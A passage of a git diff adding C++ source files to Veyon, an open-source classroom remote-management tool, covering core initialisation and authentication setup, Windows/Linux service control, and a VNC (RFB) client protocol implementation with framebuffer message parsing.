Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "ComputerControlInterface.h" +#include "Filesystem.h" +#include "Logger.h" +#include "NetworkObjectDirectoryManager.h" +#include "PasswordDialog.h" +#include "PlatformPluginManager.h" +#include "PlatformCoreFunctions.h" +#include "PlatformServiceCore.h" +#include "PluginManager.h" +#include "UserGroupsBackendManager.h" +#include "VeyonConfiguration.h" +#include "VncConnection.h" + + +VeyonCore* VeyonCore::s_instance = nullptr; + + +VeyonCore::VeyonCore( QCoreApplication* application, const QString& appComponentName ) : + QObject( application ), + m_filesystem( new Filesystem ), + m_config( nullptr ), + m_logger( nullptr ), + m_authenticationCredentials( nullptr ), + m_cryptoCore( nullptr ), + m_pluginManager( nullptr ), + m_platformPluginManager( nullptr ), + m_platformPlugin( nullptr ), + m_userGroupsBackendManager( nullptr ), + m_networkObjectDirectoryManager( nullptr ), + m_localComputerControlInterface( nullptr ), + m_applicationName( QStringLiteral( "Veyon" ) ), + m_authenticationKeyName() +{ + Q_ASSERT( application != nullptr ); + + s_instance = this; + + setupApplicationParameters(); + + initPlatformPlugin(); + + initConfiguration(); + + initLogging( appComponentName ); + + initLocaleAndTranslation(); + + initCryptoCore(); + + initAuthentication( AuthenticationCredentials::None ); + + initPlugins(); + + initManagers(); + + initLocalComputerControlInterface(); +} + + + +VeyonCore::~VeyonCore() +{ + delete m_userGroupsBackendManager; + m_userGroupsBackendManager = nullptr; + + delete m_authenticationCredentials; + m_authenticationCredentials = nullptr; + + delete m_cryptoCore; + m_cryptoCore = nullptr; + + delete m_logger; + m_logger = nullptr; + + delete m_platformPluginManager; + m_platformPluginManager = nullptr; + + delete m_pluginManager; + m_pluginManager = nullptr; + + delete m_config; + m_config = nullptr; + + delete m_filesystem; + m_filesystem = nullptr; + + s_instance = nullptr; +} + + + +VeyonCore* VeyonCore::instance() +{ + Q_ASSERT(s_instance != nullptr); + + return s_instance; +} + + + +QString VeyonCore::version() +{ + return QStringLiteral( VEYON_VERSION ); +} + + + +QString VeyonCore::pluginDir() +{ + return QStringLiteral( VEYON_PLUGIN_DIR ); +} + + + +QString VeyonCore::translationsDirectory() +{ + return QCoreApplication::applicationDirPath() + QDir::separator() + VEYON_TRANSLATIONS_DIR; +} + + + +QString VeyonCore::qtTranslationsDirectory() +{ +#ifdef QT_TRANSLATIONS_DIR + return QStringLiteral( QT_TRANSLATIONS_DIR ); +#else + return translationsDirectory(); +#endif +} + + + +QString VeyonCore::executableSuffix() +{ + return QStringLiteral( VEYON_EXECUTABLE_SUFFIX ); +} + + + +QString VeyonCore::sharedLibrarySuffix() +{ + return QStringLiteral( VEYON_SHARED_LIBRARY_SUFFIX ); +} + + + +QString VeyonCore::sessionIdEnvironmentVariable() +{ + return QStringLiteral("VEYON_SESSION_ID"); +} + + + +void VeyonCore::setupApplicationParameters() +{ + QCoreApplication::setOrganizationName( QStringLiteral( "Veyon Solutions" ) ); + QCoreApplication::setOrganizationDomain( QStringLiteral( "veyon.io" ) ); + QCoreApplication::setApplicationName( QStringLiteral( "Veyon" ) ); + + QApplication::setAttribute( Qt::AA_UseHighDpiPixmaps ); +} + + + +bool VeyonCore::initAuthentication( int credentialTypes ) +{ + if( m_authenticationCredentials ) + { + delete m_authenticationCredentials; + m_authenticationCredentials = nullptr; + } + + m_authenticationCredentials = new AuthenticationCredentials; + + bool success = false; + + if( credentialTypes & AuthenticationCredentials::UserLogon && + config().authenticationMethod() == LogonAuthentication ) + { + if( qobject_cast( QCoreApplication::instance() ) ) + { + PasswordDialog dlg( QApplication::activeWindow() ); + if( dlg.exec() && + dlg.credentials().hasCredentials( AuthenticationCredentials::UserLogon ) ) + { + m_authenticationCredentials->setLogonUsername( dlg.username() ); + m_authenticationCredentials->setLogonPassword( dlg.password() ); + + success = true; + } + else + { + success = false; + } + } + else + { + success = false; + } + } + + if( credentialTypes & AuthenticationCredentials::PrivateKey && + config().authenticationMethod() == KeyFileAuthentication ) + { + success = initKeyFileAuthentication(); + } + + return success; +} + + + +bool VeyonCore::hasSessionId() +{ + return QProcessEnvironment::systemEnvironment().contains( sessionIdEnvironmentVariable() ); +} + + + +int VeyonCore::sessionId() +{ + return QProcessEnvironment::systemEnvironment().value( sessionIdEnvironmentVariable() ).toInt(); +} + + + +QString VeyonCore::applicationName() +{ + return instance()->m_applicationName; +} + + + +void VeyonCore::enforceBranding( QWidget *topLevelWidget ) +{ + const auto appName = QStringLiteral( "Veyon" ); + + auto labels = topLevelWidget->findChildren(); + for( auto label : labels ) + { + label->setText( label->text().replace( appName, VeyonCore::applicationName() ) ); + } + + auto buttons = topLevelWidget->findChildren(); + for( auto button : buttons ) + { + button->setText( button->text().replace( appName, VeyonCore::applicationName() ) ); + } + + auto groupBoxes = topLevelWidget->findChildren(); + for( auto groupBox : groupBoxes ) + { + groupBox->setTitle( groupBox->title().replace( appName, VeyonCore::applicationName() ) ); + } + + auto actions = topLevelWidget->findChildren(); + for( auto action : actions ) + { + action->setText( action->text().replace( appName, VeyonCore::applicationName() ) ); + } + + auto widgets = topLevelWidget->findChildren(); + for( auto widget : widgets ) + { + widget->setWindowTitle( widget->windowTitle().replace( appName, VeyonCore::applicationName() ) ); + } + + topLevelWidget->setWindowTitle( topLevelWidget->windowTitle().replace( appName, VeyonCore::applicationName() ) ); +} + + + +bool VeyonCore::isDebugging() +{ + return instance()->m_logger->logLevel() >= Logger::LogLevelDebug; +} + + + +QString VeyonCore::stripDomain( const QString& username ) +{ + // remove the domain part of username (e.g. "EXAMPLE.COM\Teacher" -> "Teacher") + int domainSeparator = username.indexOf( '\\' ); + if( domainSeparator >= 0 ) + { + return username.mid( domainSeparator + 1 ); + } + + return username; +} + + + +QString VeyonCore::formattedUuid( QUuid uuid ) +{ +#if (QT_VERSION >= QT_VERSION_CHECK(5, 11, 0)) + return uuid.toString( QUuid::WithoutBraces ); +#else + return uuid.toString().remove( QLatin1Char('{') ).remove( QLatin1Char('}') ); +#endif +} + + + +bool VeyonCore::isAuthenticationKeyNameValid( const QString& authKeyName ) +{ + return QRegExp( "\\w+" ).exactMatch( authKeyName ); +} + + + +void VeyonCore::initPlatformPlugin() +{ + // initialize plugin manager and load platform plugins first + m_pluginManager = new PluginManager( this ); + m_pluginManager->loadPlatformPlugins(); + + // initialize platform plugin manager and initialize used platform plugin + m_platformPluginManager = new PlatformPluginManager( *m_pluginManager ); + m_platformPlugin = m_platformPluginManager->platformPlugin(); +} + + + +void VeyonCore::initConfiguration() +{ + m_config = new VeyonConfiguration(); + + if( QUuid( config().installationID() ).isNull() ) + { + config().setInstallationID( formattedUuid( QUuid::createUuid() ) ); + } + + if( config().applicationName().isEmpty() == false ) + { + m_applicationName = config().applicationName(); + } +} + + + +void VeyonCore::initLogging( const QString& appComponentName ) +{ + if( hasSessionId() ) + { + m_logger = new Logger( QStringLiteral("%1-%2").arg( appComponentName ).arg( sessionId() ) ); + } + else + { + m_logger = new Logger( appComponentName ); + } + + VncConnection::initLogging( isDebugging() ); +} + + + +void VeyonCore::initLocaleAndTranslation() +{ + QLocale configuredLocale( QLocale::C ); + + QRegExp localeRegEx( QStringLiteral( "[^(]*\\(([^)]*)\\)") ); + if( localeRegEx.indexIn( config().uiLanguage() ) == 0 ) + { + configuredLocale = QLocale( localeRegEx.cap( 1 ) ); + } + + if( configuredLocale.language() != QLocale::English ) + { + + auto tr = new QTranslator; + if( configuredLocale == QLocale::C || + tr->load( QStringLiteral( "%1.qm" ).arg( configuredLocale.name() ), translationsDirectory() ) == false ) + { + configuredLocale = QLocale::system(); // Flawfinder: ignore + tr->load( QStringLiteral( "%1.qm" ).arg( QLocale::system().name() ), translationsDirectory() ); // Flawfinder: ignore + } + + QLocale::setDefault( configuredLocale ); + + QCoreApplication::installTranslator( tr ); + + auto qtTr = new QTranslator; + qtTr->load( QStringLiteral( "qt_%1.qm" ).arg( configuredLocale.name() ), qtTranslationsDirectory() ); + + QCoreApplication::installTranslator( qtTr ); + } + + if( configuredLocale.language() == QLocale::Hebrew || + configuredLocale.language() == QLocale::Arabic ) + { + QApplication::setLayoutDirection( Qt::RightToLeft ); + } +} + + + +void VeyonCore::initCryptoCore() +{ + m_cryptoCore = new CryptoCore; +} + + + +void VeyonCore::initPlugins() +{ + // load all other (non-platform) plugins + m_pluginManager->loadPlugins(); + m_pluginManager->upgradePlugins(); +} + + + +void VeyonCore::initManagers() +{ + m_userGroupsBackendManager = new UserGroupsBackendManager( this ); + m_networkObjectDirectoryManager = new NetworkObjectDirectoryManager( this ); +} + + + +void VeyonCore::initLocalComputerControlInterface() +{ + const Computer localComputer( NetworkObject::Uid::createUuid(), + QStringLiteral("localhost"), + QStringLiteral("%1:%2").arg( QHostAddress( QHostAddress::LocalHost ).toString() ).arg( config().primaryServicePort() + sessionId() ) ); + + m_localComputerControlInterface = new ComputerControlInterface( localComputer, this ); +} + + + +bool VeyonCore::initKeyFileAuthentication() +{ + auto authKeyName = QProcessEnvironment::systemEnvironment().value( QStringLiteral("VEYON_AUTH_KEY_NAME") ); + + if( authKeyName.isEmpty() == false ) + { + if( isAuthenticationKeyNameValid( authKeyName ) && + m_authenticationCredentials->loadPrivateKey( VeyonCore::filesystem().privateKeyPath( authKeyName ) ) ) + { + m_authenticationKeyName = authKeyName; + } + } + else + { + // try to auto-detect private key file by searching for readable file + const auto privateKeyBaseDir = VeyonCore::filesystem().expandPath( VeyonCore::config().privateKeyBaseDir() ); + const auto privateKeyDirs = QDir( privateKeyBaseDir ).entryList( QDir::Dirs | QDir::NoDotAndDotDot, QDir::Name ); + + for( const auto& privateKeyDir : privateKeyDirs ) + { + if( m_authenticationCredentials->loadPrivateKey( VeyonCore::filesystem().privateKeyPath( privateKeyDir ) ) ) + { + m_authenticationKeyName = privateKeyDir; + return true; + } + } + } + + return false; +} diff --git a/core/src/VeyonServiceControl.cpp b/core/src/VeyonServiceControl.cpp new file mode 100644 index 0000000..00440f9 --- /dev/null +++ b/core/src/VeyonServiceControl.cpp @@ -0,0 +1,68 @@ +/* + * VeyonServiceControl.cpp - class for controlling Veyon service + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "PlatformServiceFunctions.h" +#include "VeyonServiceControl.h" + + +VeyonServiceControl::VeyonServiceControl( QWidget* parent ) : + ServiceControl( name(), filePath(), displayName(), parent ) +{ +} + + + +bool VeyonServiceControl::setAutostart( bool enabled ) +{ + return VeyonCore::platform().serviceFunctions(). + setStartMode( name(), enabled ? PlatformServiceFunctions::StartModeAuto : + PlatformServiceFunctions::StartModeManual ); +} + + + +QString VeyonServiceControl::name() +{ + return VeyonCore::platform().serviceFunctions().veyonServiceName(); +} + + + +QString VeyonServiceControl::filePath() +{ + return QDir::toNativeSeparators( + QCoreApplication::applicationDirPath() + + QDir::separator() + + QStringLiteral("veyon-service") + VeyonCore::executableSuffix() ); +} + + + +QString VeyonServiceControl::displayName() +{ + return tr( "Veyon Service" ); +} diff --git a/core/src/VncClientProtocol.cpp b/core/src/VncClientProtocol.cpp new file mode 100644 index 0000000..bb378cc --- /dev/null +++ b/core/src/VncClientProtocol.cpp @@ -0,0 +1,780 @@ +/* + * VncClientProtocol.cpp - implementation of the VncClientProtocol class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "VeyonCore.h" + +#include +#include +#include + +extern "C" +{ +#include "rfb/rfbproto.h" +#include "common/d3des.h" +} + +#include "VncClientProtocol.h" + + +/* + * Encrypt CHALLENGESIZE bytes in memory using a password. + */ + +static void +vncEncryptBytes(unsigned char *bytes, const char *passwd, size_t passwd_length) +{ + constexpr int KeyLength = 8; + unsigned char key[KeyLength]; // Flawfinder: ignore + unsigned int i; + + /* key is simply password padded with nulls */ + + for (i = 0; i < KeyLength; i++) { + if (i < passwd_length) { + key[i] = static_cast( passwd[i] ); + } else { + key[i] = 0; + } + } + + rfbDesKey(key, EN0); + + for (i = 0; i < CHALLENGESIZE; i += KeyLength) { + rfbDes(bytes+i, bytes+i); + } +} + + + + +VncClientProtocol::VncClientProtocol( QTcpSocket* socket, const QString& vncPassword ) : + m_socket( socket ), + m_state( Disconnected ), + m_vncPassword( vncPassword.toUtf8() ), + m_serverInitMessage(), + m_pixelFormat( { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 } ), + m_framebufferWidth( 0 ), + m_framebufferHeight( 0 ) +{ +} + + + +void VncClientProtocol::start() +{ + m_state = Protocol; +} + + + +bool VncClientProtocol::read() // Flawfinder: ignore +{ + switch( m_state ) + { + case Protocol: + return readProtocol(); + + case SecurityInit: + return receiveSecurityTypes(); + + case SecurityChallenge: + return receiveSecurityChallenge(); + + case SecurityResult: + return receiveSecurityResult(); + + case FramebufferInit: + return receiveServerInitMessage(); + + default: + break; + } + + return false; +} + + + +bool VncClientProtocol::setPixelFormat( rfbPixelFormat pixelFormat ) +{ + rfbSetPixelFormatMsg spf; + + spf.type = rfbSetPixelFormat; + spf.pad1 = 0; + spf.pad2 = 0; + spf.format = pixelFormat; + spf.format.redMax = qFromBigEndian(pixelFormat.redMax); + spf.format.greenMax = qFromBigEndian(pixelFormat.greenMax); + spf.format.blueMax = qFromBigEndian(pixelFormat.blueMax); + + return m_socket->write( reinterpret_cast( &spf ), sz_rfbSetPixelFormatMsg ) == sz_rfbSetPixelFormatMsg; +} + + + +bool VncClientProtocol::setEncodings( const QVector& encodings ) +{ + if( encodings.size() > MAX_ENCODINGS ) + { + return false; + } + + char buf[sz_rfbSetEncodingsMsg + MAX_ENCODINGS * 4]; // Flawfinder: ignore + + auto setEncodingsMsg = reinterpret_cast( buf ); + auto encs = reinterpret_cast( &buf[sz_rfbSetEncodingsMsg] ); + int len = 0; + + setEncodingsMsg->type = rfbSetEncodings; + setEncodingsMsg->pad = 0; + setEncodingsMsg->nEncodings = 0; + + for( auto encoding : encodings ) + { + encs[setEncodingsMsg->nEncodings++] = qFromBigEndian( encoding ); + } + + len = sz_rfbSetEncodingsMsg + setEncodingsMsg->nEncodings * 4; + + setEncodingsMsg->nEncodings = qFromBigEndian(setEncodingsMsg->nEncodings); + + return m_socket->write( buf, len ) == len; +} + + + +void VncClientProtocol::requestFramebufferUpdate( bool incremental ) +{ + rfbFramebufferUpdateRequestMsg updateRequest; + + updateRequest.type = rfbFramebufferUpdateRequest; + updateRequest.incremental = incremental ? 1 : 0; + updateRequest.x = 0; + updateRequest.y = 0; + updateRequest.w = qFromBigEndian( m_framebufferWidth ); + updateRequest.h = qFromBigEndian( m_framebufferHeight ); + + if( m_socket->write( reinterpret_cast( &updateRequest ), sz_rfbFramebufferUpdateRequestMsg ) != sz_rfbFramebufferUpdateRequestMsg ) + { + qDebug( "VncClientProtocol::requestFramebufferUpdate(): could not write to socket - closing connection" ); + m_socket->close(); + } +} + + + +bool VncClientProtocol::receiveMessage() +{ + uint8_t messageType = 0; + if( m_socket->peek( reinterpret_cast( &messageType ), sizeof(messageType) ) != sizeof(messageType) ) + { + return false; + } + + switch( messageType ) + { + case rfbFramebufferUpdate: + return receiveFramebufferUpdateMessage(); + + case rfbSetColourMapEntries: + return receiveColourMapEntriesMessage(); + + case rfbBell: + return receiveBellMessage(); + + case rfbServerCutText: + return receiveCutTextMessage(); + + case rfbResizeFrameBuffer: + return receiveResizeFramebufferMessage(); + + case rfbXvp: + return receiveXvpMessage(); + + default: + qCritical( "VncClientProtocol::receiveMessage(): received unknown message type: %d", + static_cast( messageType ) ); + m_socket->close(); + return false; + } + + return false; +} + + + +bool VncClientProtocol::readProtocol() +{ + if( m_socket->bytesAvailable() == sz_rfbProtocolVersionMsg ) + { + const auto protocol = m_socket->read( sz_rfbProtocolVersionMsg ); + + if( protocol.size() != sz_rfbProtocolVersionMsg ) + { + qCritical( "VncClientProtocol:::readProtocol(): protocol initialization failed" ); + m_socket->close(); + + return false; + } + + QRegExp protocolRX( QStringLiteral("RFB (\\d\\d\\d)\\.(\\d\\d\\d)\n") ); + + if( protocolRX.indexIn( QString::fromUtf8( protocol ) ) != 0 || + protocolRX.cap( 1 ).toInt() != 3 || + protocolRX.cap( 2 ).toInt() < 7 ) + { + qCritical( "VncClientProtocol:::readProtocol(): invalid protocol version" ); + m_socket->close(); + + return false; + } + + m_socket->write( protocol, sz_rfbProtocolVersionMsg ); + + m_state = SecurityInit; + + return true; + } + + return false; +} + + + +bool VncClientProtocol::receiveSecurityTypes() +{ + if( m_socket->bytesAvailable() >= 2 ) + { + uint8_t securityTypeCount = 0; + + m_socket->read( reinterpret_cast( &securityTypeCount ), sizeof(securityTypeCount) ); + + if( securityTypeCount == 0 ) + { + qCritical( "VncClientProtocol::receiveSecurityTypes(): invalid number of security types received!" ); + m_socket->close(); + + return false; + } + + auto securityTypeList = m_socket->read( securityTypeCount ); + if( securityTypeList.count() != securityTypeCount ) + { + qCritical( "VncClientProtocol::receiveSecurityTypes(): could not read security types!" ); + m_socket->close(); + + return false; + } + + char securityType = rfbSecTypeVncAuth; + + if( securityTypeList.contains( securityType ) == false ) + { + qCritical( "VncClientProtocol::receiveSecurityTypes(): no supported security type!" ); + m_socket->close(); + + return false; + } + + m_socket->write( &securityType, sizeof(securityType) ); + + m_state = SecurityChallenge; + + return true; + } + + return false; +} + + + +bool VncClientProtocol::receiveSecurityChallenge() +{ + if( m_socket->bytesAvailable() >= CHALLENGESIZE ) + { + uint8_t challenge[CHALLENGESIZE]; + m_socket->read( reinterpret_cast( challenge ), CHALLENGESIZE ); + + vncEncryptBytes( challenge, m_vncPassword.constData(), static_cast( m_vncPassword.size() ) ); + + m_socket->write( reinterpret_cast( challenge ), CHALLENGESIZE ); + + m_state = SecurityResult; + + return true; + } + + return false; +} + + + +bool VncClientProtocol::receiveSecurityResult() +{ + if( m_socket->bytesAvailable() >= 4 ) + { + uint32_t authResult = 0; + + m_socket->read( reinterpret_cast( &authResult ), sizeof(authResult) ); + + if( qFromBigEndian( authResult ) != rfbVncAuthOK ) + { + qCritical( "VncClientProtocol::receiveSecurityResult(): authentication failed!" ); + m_socket->close(); + return false; + } + + qDebug( "VncClientProtocol::receiveSecurityResult(): authentication successful" ); + + // finally send client init message + rfbClientInitMsg clientInitMessage; + clientInitMessage.shared = 1; + m_socket->write( reinterpret_cast( &clientInitMessage ), sz_rfbClientInitMsg ); + + // wait for server init message + m_state = FramebufferInit; + + return true; + } + + return false; +} + + + +bool VncClientProtocol::receiveServerInitMessage() +{ + rfbServerInitMsg message; + + if( m_socket->bytesAvailable() >= sz_rfbServerInitMsg && + m_socket->peek( reinterpret_cast( &message ), sz_rfbServerInitMsg ) == sz_rfbServerInitMsg ) + { + auto nameLength = qFromBigEndian( message.nameLength ); + + if( nameLength > 255 ) + { + qCritical() << Q_FUNC_INFO << "size of desktop name > 255!"; + m_socket->close(); + return false; + } + + static_assert( sizeof(m_pixelFormat) >= sz_rfbPixelFormat, "m_pixelFormat has wrong size" ); + static_assert( sizeof(m_pixelFormat) >= sizeof(message.format), "m_pixelFormat too small" ); + + memcpy( &m_pixelFormat, &message.format, sz_rfbPixelFormat ); // Flawfinder: ignore + + if( static_cast( m_socket->peek( nameLength ).size() ) == nameLength ) + { + m_serverInitMessage = m_socket->read( sz_rfbServerInitMsg + nameLength ); + + const auto serverInitMessage = reinterpret_cast( m_serverInitMessage.constData() ); + m_framebufferWidth = qFromBigEndian( serverInitMessage->framebufferWidth ); + m_framebufferHeight = qFromBigEndian( serverInitMessage->framebufferHeight ); + + m_state = Running; + + return true; + } + } + + return false; +} + + + +bool VncClientProtocol::receiveFramebufferUpdateMessage() +{ + // peek all available data and work on a local buffer so we can continously read from it + QByteArray data = m_socket->peek( m_socket->bytesAvailable() ); + + QBuffer buffer( &data ); + buffer.open( QBuffer::ReadOnly ); // Flawfinder: ignore + + rfbFramebufferUpdateMsg message; + if( buffer.read( reinterpret_cast( &message ), sz_rfbFramebufferUpdateMsg ) != sz_rfbFramebufferUpdateMsg ) + { + return false; + } + + QRegion updatedRegion; + + int nRects = qFromBigEndian( message.nRects ); + + for( int i = 0; i < nRects; ++i ) + { + rfbFramebufferUpdateRectHeader rectHeader; + if( buffer.read( reinterpret_cast( &rectHeader ), sz_rfbFramebufferUpdateRectHeader ) != sz_rfbFramebufferUpdateRectHeader ) + { + return false; + } + + rectHeader.encoding = qFromBigEndian( rectHeader.encoding ); + rectHeader.r.w = qFromBigEndian( rectHeader.r.w ); + rectHeader.r.h = qFromBigEndian( rectHeader.r.h ); + rectHeader.r.x = qFromBigEndian( rectHeader.r.x ); + rectHeader.r.y = qFromBigEndian( rectHeader.r.y ); + + if( rectHeader.encoding == rfbEncodingLastRect ) + { + break; + } + + if( handleRect( buffer, rectHeader ) == false ) + { + return false; + } + + if( isPseudoEncoding( rectHeader ) == false && + rectHeader.r.x+rectHeader.r.w <= m_framebufferWidth && + rectHeader.r.y+rectHeader.r.h <= m_framebufferHeight ) + { + updatedRegion += QRect( rectHeader.r.x, rectHeader.r.y, rectHeader.r.w, rectHeader.r.h ); + } + } + + m_lastUpdatedRect = updatedRegion.boundingRect(); + + // save as much data as we read by processing rects + return readMessage( buffer.pos() ); +} + + + +bool VncClientProtocol::receiveColourMapEntriesMessage() +{ + rfbSetColourMapEntriesMsg message; + if( m_socket->peek( reinterpret_cast( &message ), sz_rfbSetColourMapEntriesMsg ) != sz_rfbSetColourMapEntriesMsg ) + { + return false; + } + + return readMessage( sz_rfbSetColourMapEntriesMsg + qFromBigEndian( message.nColours ) * 6 ); +} + + + + +bool VncClientProtocol::receiveBellMessage() +{ + return readMessage( sz_rfbBellMsg ); +} + + + +bool VncClientProtocol::receiveCutTextMessage() +{ + rfbServerCutTextMsg message; + if( m_socket->peek( reinterpret_cast( &message ), sz_rfbServerCutTextMsg ) != sz_rfbServerCutTextMsg ) + { + return false; + } + + return readMessage( sz_rfbServerCutTextMsg + qFromBigEndian( message.length ) ); +} + + + +bool VncClientProtocol::receiveResizeFramebufferMessage() +{ + if( readMessage( sz_rfbResizeFrameBufferMsg ) ) + { + const auto msg = reinterpret_cast( m_lastMessage.constData() ); + m_framebufferWidth = qFromBigEndian( msg->framebufferWidth ); + m_framebufferHeight = qFromBigEndian( msg->framebufferHeigth ); + + return true; + } + + return false; +} + + + +bool VncClientProtocol::receiveXvpMessage() +{ + return readMessage( sz_rfbXvpMsg ); +} + + + +bool VncClientProtocol::readMessage( qint64 size ) +{ + if( m_socket->bytesAvailable() < size ) + { + return false; + } + + auto message = m_socket->read( size ); + if( message.size() == size ) + { + m_lastMessage = message; + return true; + } + + qWarning() << "VncClientProtocol::readMessage(): only received" << message.size() << "of" << size << "bytes"; + + return false; +} + + + +bool VncClientProtocol::handleRect( QBuffer& buffer, rfbFramebufferUpdateRectHeader rectHeader ) +{ + const uint width = rectHeader.r.w; + const uint height = rectHeader.r.h; + + const uint bytesPerPixel = m_pixelFormat.bitsPerPixel / 8; + const uint bytesPerRow = ( width + 7 ) / 8; + + switch( rectHeader.encoding ) + { + case rfbEncodingLastRect: + return true; + + case rfbEncodingXCursor: + return width * height == 0 || + ( buffer.read( sz_rfbXCursorColors ).size() == sz_rfbXCursorColors && + buffer.read( 2 * bytesPerRow * height ).size() == static_cast( 2 * bytesPerRow * height ) ); + + case rfbEncodingRichCursor: + return width * height == 0 || + ( buffer.read( width * height * bytesPerPixel ).size() == static_cast( width * height * bytesPerPixel ) && + buffer.read( bytesPerRow * height ).size() == static_cast( bytesPerRow * height ) ); + + case rfbEncodingSupportedMessages: + return buffer.read( sz_rfbSupportedMessages ).size() == sz_rfbSupportedMessages; + + case rfbEncodingSupportedEncodings: + case rfbEncodingServerIdentity: + // width = byte count + return buffer.read( width ).size() == static_cast( width ); + + case rfbEncodingRaw: + return buffer.read( width * height * bytesPerPixel ).size() == static_cast( width * height * bytesPerPixel ); + + case rfbEncodingCopyRect: + return buffer.read( sz_rfbCopyRect ).size() == sz_rfbCopyRect; + + case rfbEncodingRRE: + return handleRectEncodingRRE( buffer, bytesPerPixel ); + + case rfbEncodingCoRRE: + return handleRectEncodingCoRRE( buffer, bytesPerPixel ); + + case rfbEncodingHextile: + return handleRectEncodingHextile( buffer, rectHeader, bytesPerPixel ); + + case rfbEncodingUltra: + case rfbEncodingUltraZip: + case rfbEncodingZlib: + return handleRectEncodingZlib( buffer ); + + case rfbEncodingZRLE: + case rfbEncodingZYWRLE: + return handleRectEncodingZRLE( buffer ); + + case rfbEncodingPointerPos: + case rfbEncodingKeyboardLedState: + case rfbEncodingNewFBSize: + // no further data to read for this rect + return true; + + default: + qCritical() << Q_FUNC_INFO << "Unsupported rect encoding" << rectHeader.encoding; + m_socket->close(); + break; + } + + return false; +} + + + +bool VncClientProtocol::handleRectEncodingRRE( QBuffer& buffer, uint bytesPerPixel ) +{ + rfbRREHeader hdr; + + if( buffer.read( reinterpret_cast( &hdr ), sz_rfbRREHeader ) != sz_rfbRREHeader ) + { + return false; + } + + const auto rectDataSize = qFromBigEndian( hdr.nSubrects ) * ( bytesPerPixel + sz_rfbRectangle ); + const auto totalDataSize = static_cast( bytesPerPixel + rectDataSize ); + + return buffer.read( totalDataSize ).size() == totalDataSize; +} + + + +bool VncClientProtocol::handleRectEncodingCoRRE( QBuffer& buffer, uint bytesPerPixel ) +{ + rfbRREHeader hdr; + + if( buffer.read( reinterpret_cast( &hdr ), sz_rfbRREHeader ) != sz_rfbRREHeader ) + { + return false; + } + + const auto rectDataSize = qFromBigEndian( hdr.nSubrects ) * ( bytesPerPixel + 4 ); + const auto totalDataSize = static_cast( bytesPerPixel + rectDataSize ); + + return buffer.read( totalDataSize ).size() == totalDataSize; + +} + + + +bool VncClientProtocol::handleRectEncodingHextile( QBuffer& buffer, + const rfbFramebufferUpdateRectHeader rectHeader, + uint bytesPerPixel ) +{ + const uint rx = rectHeader.r.x; + const uint ry = rectHeader.r.y; + const uint rw = rectHeader.r.w; + const uint rh = rectHeader.r.h; + + for( uint y = ry; y < ry+rh; y += 16 ) + { + for( uint x = rx; x < rx+rw; x += 16 ) + { + uint w = 16, h = 16; + if( rx+rw - x < 16 ) w = rx+rw - x; + if( ry+rh - y < 16 ) h = ry+rh - y; + + uint8_t subEncoding = 0; + if( buffer.read( reinterpret_cast( &subEncoding ), 1 ) != 1 ) + { + return false; + } + + if( subEncoding & rfbHextileRaw ) + { + const auto dataSize = static_cast( w * h * bytesPerPixel ); + if( buffer.read( dataSize ).size() != dataSize ) + { + return false; + } + continue; + } + + if( subEncoding & rfbHextileBackgroundSpecified ) + { + if( buffer.read( bytesPerPixel ).size() != static_cast( bytesPerPixel ) ) + { + return false; + } + } + + if( subEncoding & rfbHextileForegroundSpecified ) + { + if( buffer.read( bytesPerPixel ).size() != static_cast( bytesPerPixel ) ) + { + return false; + } + } + + if( !( subEncoding & rfbHextileAnySubrects ) ) + { + continue; + } + + uint8_t nSubrects = 0; + if( buffer.read( reinterpret_cast( &nSubrects ), 1 ) != 1 ) + { + return false; + } + + int64_t subRectDataSize = 0; + + if( subEncoding & rfbHextileSubrectsColoured ) + { + subRectDataSize = nSubrects * ( 2 + bytesPerPixel ); + } + else + { + subRectDataSize = nSubrects * 2; + } + + if( buffer.read( subRectDataSize ).size() != subRectDataSize ) + { + return false; + } + } + } + + return true; +} + + + +bool VncClientProtocol::handleRectEncodingZlib( QBuffer& buffer ) +{ + rfbZlibHeader hdr; + + if( buffer.read( reinterpret_cast( &hdr ), sz_rfbZlibHeader ) != sz_rfbZlibHeader ) + { + return false; + } + + const auto n = qFromBigEndian( hdr.nBytes ); + + return buffer.read( n ).size() == static_cast( n ); +} + + + +bool VncClientProtocol::handleRectEncodingZRLE(QBuffer &buffer) +{ + rfbZRLEHeader hdr; + + if( buffer.read( reinterpret_cast( &hdr ), sz_rfbZRLEHeader ) != sz_rfbZRLEHeader ) + { + return false; + } + + const auto n = qFromBigEndian( hdr.length ); + + return buffer.read( n ).size() == static_cast( n ); +} + + + +bool VncClientProtocol::isPseudoEncoding( rfbFramebufferUpdateRectHeader header ) +{ + switch( header.encoding ) + { + case rfbEncodingSupportedEncodings: + case rfbEncodingSupportedMessages: + case rfbEncodingServerIdentity: + case rfbEncodingPointerPos: + case rfbEncodingKeyboardLedState: + case rfbEncodingNewFBSize: + return true; + default: + break; + } + + return false; +} diff --git a/core/src/VncConnection.cpp b/core/src/VncConnection.cpp new file mode 100644 index 0000000..4412b9a --- /dev/null +++ b/core/src/VncConnection.cpp @@ -0,0 +1,966 @@ +/* + * VncConnection.cpp - implementation of VncConnection class + * + * Copyright (c) 2008-2019 Tobias Junghans + 